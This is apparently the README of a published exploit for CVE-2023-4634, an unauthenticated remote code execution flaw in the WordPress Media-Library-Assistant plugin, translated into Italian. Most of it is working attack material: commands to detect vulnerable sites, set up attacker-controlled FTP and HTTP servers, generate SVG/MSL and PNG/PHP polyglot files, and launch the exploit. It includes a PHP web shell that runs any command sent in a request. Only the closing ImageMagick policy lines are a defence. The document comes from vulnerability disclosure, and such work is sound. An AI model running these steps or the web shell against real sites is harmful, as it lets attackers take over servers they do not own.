
CVE-2023-4634
Exploit RCE per il Plugin Media-Library di Wordpress < 3.10 (CVE-2023-4634)
Patrowl ha scoperto una vulnerabilità RCE non autenticata sul plugin Media-Library-Assistant per Wordpress in versione < 3.10. L'exploit non è banale e richiede un piccolo setup spiegato di seguito.
La scoperta globale e lo sfruttamento dell'exploit si trovano sul nostro blog: https://patrowl.io/blog-wordpress-media-library-rce-cve-2023-4634/
Il rilevamento della vulnerabilità può essere effettuato utilizzando un controllo DNS di base su un server FTP remoto. Il template nuclei può essere trovato su: CVE-2023-4634.yaml.
nuclei -u http://x.x.x.x -t ./CVE-2023-4634.yaml
Lo sfruttamento completo e l'RCE possono quindi essere eseguiti utilizzando lo script CVE-2023-4634.py.
Nota: Puoi anche utilizzare lo script per attivare uno sfruttamento più semplice come LFI, basta forgiare un SVG specifico e ospitarlo sul tuo FTP, seguendo le raccomandazioni nel nostro blog.
Installa i requisiti:
python3 -m pip install -r requirements.txt
Poi:
python3 CVE-CVE-2023-4634.py -h
Restituisce:
usage: CVE-2023-4634 Exploit [-h] [--target [TARGET]] [--remoteftp [REMOTEFTP]] [--remotehttp [REMOTEHTTP]] [--svg_polyglot_name [SVG_POLYGLOT_NAME]] [--svg_exploiter_names [SVG_EXPLOITER_NAMES]] [--png_polyglot_name [PNG_POLYGLOT_NAME]] [--concurrency [CONCURRENCY]] [--generatesvg | --no-generatesvg] [--webserverpath WEBSERVERPATH]
[--exploitname EXPLOITNAME] [--generatepng | --no-generatepng] [--payload PAYLOAD]
Exploit CVE-2023-4634 su Media-Library-Assistant versione < 3.10
options:
-h, --help mostra questo messaggio di aiuto ed esce
--target [TARGET] URL del target, es http://victimwordpress.org
--remoteftp [REMOTEFTP]
URL del FTP remoto utilizzato per memorizzare i file SVG, es ftp://X.X.X.X:PORT
--remotehttp [REMOTEHTTP]
URL dell'HTTP remoto utilizzato per memorizzare il file finale Poliglotta PNG/PHP, es http://X.X.X.X:PORT
--svg_polyglot_name [SVG_POLYGLOT_NAME]
Nome del file poliglotta SVG/MSL esterno (per generazione o uso finale), esempio: poly.svg
--svg_exploiter_names [SVG_EXPLOITER_NAMES]
Nome dei file esterni di brute-force VID, la parte FUZZ sarà sostituita dal primo carattere forzato (per generazione o uso finale), es: exploiter_FUZZ.svg
--png_polyglot_name [PNG_POLYGLOT_NAME]
Nome del PNG/PHP esterno da usare (per generazione o uso finale), es: exploiter_FUZZ.svg
--concurrency [CONCURRENCY]
Numero di richieste di conversione SVG lunghe concorrenti da effettuare (default 100)
--generatesvg, --no-generatesvg
Genera sia il file poliglotta SVG/MSL che il brute-forcer VID nella directory remote_ftp
--webserverpath WEBSERVERPATH
Percorso del server web sulla vittima (può essere trovato con LFI e file wp-config) esempio: /var/www/html
--exploitname EXPLOITNAME
Nome dell'exploit rilasciato esempio: pwned.php
--generatepng, --no-generatepng
Genera il file poliglotta PNG/PHP, integra il file php con l'opzione -payload nella cartella exploit-png
--payload PAYLOAD Payload PHP da integrare nel file PNG es: <?php phpinfo(); ?>
Ora, per funzionare, devi configurare su host remoti:
Puoi eseguire un semplice server FTP usando Python:
python3 -m pyftpdlib -p 2122
[I 2023-08-31 12:24:17] concurrency model: async
[I 2023-08-31 12:24:17] masquerade (NAT) address: None
[I 2023-08-31 12:24:17] passive ports: None
[I 2023-08-31 12:24:17] >>> starting FTP server on 0.0.0.0:2122, pid=482661 <<<
Una volta configurato, devi aggiungere al tuo server FTP i file poliglotti SVG/MSL e tutti gli sfruttatori SVG. Puoi generarli facilmente usando lo script:
python3 CVE-2023-4634.py --generatesvg --svg_polyglot_name poly.svg --svg_exploiter_names exploiter_FUZZ.svg --remotehttp http://192.168.1.164:8081 --png_polyglot_name virus.png --webserverpath /var/www/html --exploitname pwned.php
Genererà nella cartella remote_ftp:
png_polyglot_name da remotettp al percorso di destinazione (webserverpath+ exploitname)Nota che lo script copierà anche il file svg con [0] alla fine (poly.svg e poly.svg[0]). Entrambi i file sono necessari affinché lo sfruttamento funzioni.
Metti tutti i file generati (normali e [0]) nella directory root del tuo server FTP. Dovrebbe apparire così:
ls remote_ftp/
exploiter_-.svg exploiter_3.svg exploiter_7.svg exploiter_B.svg exploiter_F.svg exploiter_J.svg exploiter_N.svg exploiter_R.svg exploiter_V.svg exploiter_Z.svg
exploiter_-.svg[0] exploiter_3.svg[0] exploiter_7.svg[0] exploiter_B.svg[0] exploiter_F.svg[0] exploiter_J.svg[0] exploiter_N.svg[0] exploiter_R.svg[0] exploiter_V.svg[0] exploiter_Z.svg[0]
exploiter_0.svg exploiter_4.svg exploiter_8.svg exploiter_C.svg exploiter_G.svg exploiter_K.svg exploiter_O.svg exploiter_S.svg exploiter_W.svg exploiter__.svg
exploiter_0.svg[0] exploiter_4.svg[0] exploiter_8.svg[0] exploiter_C.svg[0] exploiter_G.svg[0] exploiter_K.svg[0] exploiter_O.svg[0] exploiter_S.svg[0] exploiter_W.svg[0] exploiter__.svg[0]
exploiter_1.svg exploiter_5.svg exploiter_9.svg exploiter_D.svg exploiter_H.svg exploiter_L.svg exploiter_P.svg exploiter_T.svg exploiter_X.svg poly.svg
exploiter_1.svg[0] exploiter_5.svg[0] exploiter_9.svg[0] exploiter_D.svg[0] exploiter_H.svg[0] exploiter_L.svg[0] exploiter_P.svg[0] exploiter_T.svg[0] exploiter_X.svg[0] poly.svg[0]
exploiter_2.svg exploiter_6.svg exploiter_A.svg exploiter_E.svg exploiter_I.svg exploiter_M.svg exploiter_Q.svg exploiter_U.svg exploiter_Y.svg
exploiter_2.svg[0] exploiter_6.svg[0] exploiter_A.svg[0] exploiter_E.svg[0] exploiter_I.svg[0] exploiter_M.svg[0] exploiter_Q.svg[0] exploiter_U.svg[0] exploiter_Y.svg[0]
Puoi eseguire un semplice server HTTP usando Python:
python3 -m http.server -p 8081
[I 2023-08-31 12:24:17] concurrency model: async
[I 2023-08-31 12:24:17] masquerade (NAT) address: None
[I 2023-08-31 12:24:17] passive ports: None
[I 2023-08-31 12:24:17] >>> starting FTP server on 0.0.0.0:2122, pid=482661 <<<
Devi solo aggiungere il tuo file poliglotta PNG/PHP. Puoi anche usare lo script per generare il file e includere il payload desiderato:
python3 CVE-2023-4634.py --generatepng --payload "<?php if(isset(\$_REQUEST['cmd'])){ echo \"<pre>\"; \$cmd = (\$_REQUEST['cmd']); system(\$cmd); echo \"</pre>\"; die; }?>" --png_polyglot_name virus.png
Ora che sia il server FTP remoto che il server HTTP sono pronti, puoi lanciare l'exploit sul target vulnerabile (lo script verificherà se il target utilizza una versione vulnerabile del plugin). Esempio:
python3 CVE-2023-4634.py --target http://127.0.0.1 --remoteftp ftp://192.168.1.164:2122 --remotehttp http://192.168.1.164:8081 --svg_polyglot_name poly.svg --svg_exploiter_names exploiter_FUZZ.svg --png_polyglot_name virus.png --exploitname pwned.php
E se tutto è a posto, dovresti avere il tuo exploitname rilasciato all'interno del webserverpath (dipende da come hai configurato il tuo exploit)
Divertiti!
Ho realizzato un video clip.
https://github.com/Patrowl/CVE-2023-4634/assets/15944951/6f9d356f-f0ec-48df-9037-5f8a4b64e44f
<policy domain="coder" rights="none" pattern="SVG" />
<policy domain="coder" rights="none" pattern="MSL" />
<policy domain="coder" rights="none" pattern="MSVG" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="VID" />
a
/etc/ImageMagick-X/policy.xml